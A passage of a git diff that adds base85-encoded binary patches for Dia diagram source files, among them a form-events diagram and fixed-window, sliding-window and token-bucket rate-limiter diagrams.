z;PF%d1e?HHlKag_uEJ<7$(<<46<4xwahhEyP6IX9@ztB+#C(loHMx58KllN^rgV(}
E0NDBfW&i*H

delta 2038
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
U6Z18W)#T>Q|5A1rV{?rF0O9uZ@c;k-

diff --git a/_images/sources/form/form_events.dia b/_images/sources/form/form_events.dia
new file mode 100644
index 0000000000000000000000000000000000000000..8e7afb1cb83b5ca8f2c4bb8c52c46641ac75d5ae
GIT binary patch
literal 3179
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
R4;F8}`9D3Hk9Sk$0012tPx=4=

literal 0
HcmV?d00001

diff --git a/_images/sources/rate_limiter/fixed_window.dia b/_images/sources/rate_limiter/fixed_window.dia
new file mode 100644
index 0000000000000000000000000000000000000000..16282a2dcce2dc3cf58a40be13992366c2a10f48
GIT binary patch
literal 2356
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
ail<K>)*r;5Ny=tVAN~(zH@<Pi$N&Jno|C-*

literal 0
HcmV?d00001

diff --git a/_images/sources/rate_limiter/sliding_window.dia b/_images/sources/rate_limiter/sliding_window.dia
new file mode 100644
index 0000000000000000000000000000000000000000..e16275d89954159ea54000bf4de8826e9b3282d3
GIT binary patch
literal 2190
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
QvgzZ^e}s1x_UWns01%r;Gynhq

literal 0
HcmV?d00001

diff --git a/_images/sources/rate_limiter/token_bucket.dia b/_images/sources/rate_limiter/token_bucket.dia
new file mode 100644
index 0000000000000000000000000000000000000000..16761971337dbf6890ce0d2255b6d7c75bb125ca
GIT binary patch
literal 2752
zcmY+Gc{r47AIE1A<20DYiENpWNjb%sv4pHKI@XjD(#RxCwqjl;jAR|tv6RWKWF0Y4
zwhWF$gpoaa_MFCGQ1%y{^Iqq@|9P(K{@u_0``(}L_qne}ngRjr4G@@}=5TlX!{Knw
z%oWR4_7S?yGNyFZCca=&{t2PSw8#PETv!+z30qYc-5BiBhwwn4%Y0aWZA_`^;JksF
zF(<1laDA5M7;HW<;{LQP3++Ff5Yod5Yd#@m+&uYgr&v0e$z88K7qpI-JmC0#)I`LT
zG_Dr!zu0B4bDZVk$l;8RjPNdQXnp7+z>Fz>YE|#ZMox@fM^|xlg63A{q+&v~PF%NR
zick8B2#EUk|Ng-BM~5_T)+o}p3fs6<(o-;eg4$L1UA#ePi^ZZBZ*LW3ZM;l>w0!QM
z{1>Hzp`$`XkEk=FwS`>Ur))p1v}`UG-8||-G80_3-n4Tsb;F2K<C`aDbQW1tcGsAU
zuk^3fqv&{xPy+n;hF`<ChN(*(A;t=ayKo!no|Qw#ds0(9J#P2f6MF4$_1dF@le2Bp
z4_MWB`aI3?J|dUhGlNKvph+bE@!;x@{#V{6&<Twe?xjzF7Fr)|u#z?}M`>&-9(pOl
z7a&$k*)fu3W;ENO+a1$`j&7J10^i^Ts{c}15O2%ENvcwhUGQ-&FQ^K>(zR72t7!Xb
z&DW&q6iE}3^-6T$Ss;ImJmt1zyUxN_wklshfGy_j&g~K6pow{#dNON#Z0iTiPeN+;
z6m|)VwN(;oN<OT@e~aiJP%bNKmbgTCR%dy3lc?UZk{n<%3Weq|P!|#mp~gehk+zH8
zZ`uVWp51qyG52+~QMY~ia%3(;?Ry^c$v~mesGR^JkNIolVzrG<&n9zo(k5tATPWT;
zmP#TrrN6MM9p5T&zCT|y*vaT!4P$5qK3DU$W)PLnxOn^WIUVfT9vApFeCl3snV{Ga
zLE;80`cL@;b^Fg_;Fg*S@O=O2Eu%D`Z`k?1Qgvpl+jY}MzUb<%>Db`kJZa?v>>*p>
zzvy_Wipq22Z4vVxopPQfHq|2}k?;JA8wNY&(oBvXinAsAp=9~xXvz#HY$8&r@Z02>
zuQHVS!uc;VwFxw(<Z5&cZQ#xj`E1Z4URYmakw2ldk{yk#nm8U_1`LqPDJ>K*I-_zN
zfHKL!aht^DDX#CB@0AY|I$v;$9`#Mx4KUBCdWHpheR^^xQU6{g>X0jb33?*oZMJF9
z;NvL0q!@(+KKxub%E}h+WLS$*rWcvUl>MFrnNMm}unyJKPr8<GYI-fH0*H6AYjG|&
zOY&kln<uG1&X;Iu$bQm{$uw<GMESEX%14vrLt7^GlLj(PgAaDOo(OW6d-1hgiFA6K
z^?gV2fg%B>U>DHbtWf<x$o{3fc{}-6BgqX3U%r@%c~R1s!)+^5^MyElYL-=yEe9uQ
zo?+yg_$@d0MCzODCsW%?+pTw269b!k!_Z18q}IFqGw{Y$w5!D*h3w*k)c02KAT3l0
zO25MM&^YWQuCOERd>Q9ZQ}?W-EXztV<AyV~NlWs&+l&5Xk{fny{Xe9|Z)?|NIE;t3
zq>VwU#%Y(f8<K75*E<#0i*>zW(o#e1M$?~fJ=CB6gw2RsbGj-A4%?z2O*FuguDn0w
zkBk+I)fJj6)$xJr07?L81(3I*lX5r_h8l*#j8db4&SP&ffF-58yky`Fz>&;{z;ra2
z0QM#;l{^Bco^JTRQjIt-Oc;vr<?RquBJZx(#mh+wyo)=q`|hpwqgZLmcw)%C!?o!}
z^(KRzmt(OmiVoR-O2rj*w%@esoO!O^b;c~!!$jDVhE{g&6niYs>pEvIFBPXFJC$_x
z+=}YQ+#qD4g|=db%)Q1X1$`IxGw$en7aQv!`o*BHD!1?X&o+HZ)kVhqs#@bstZPsk
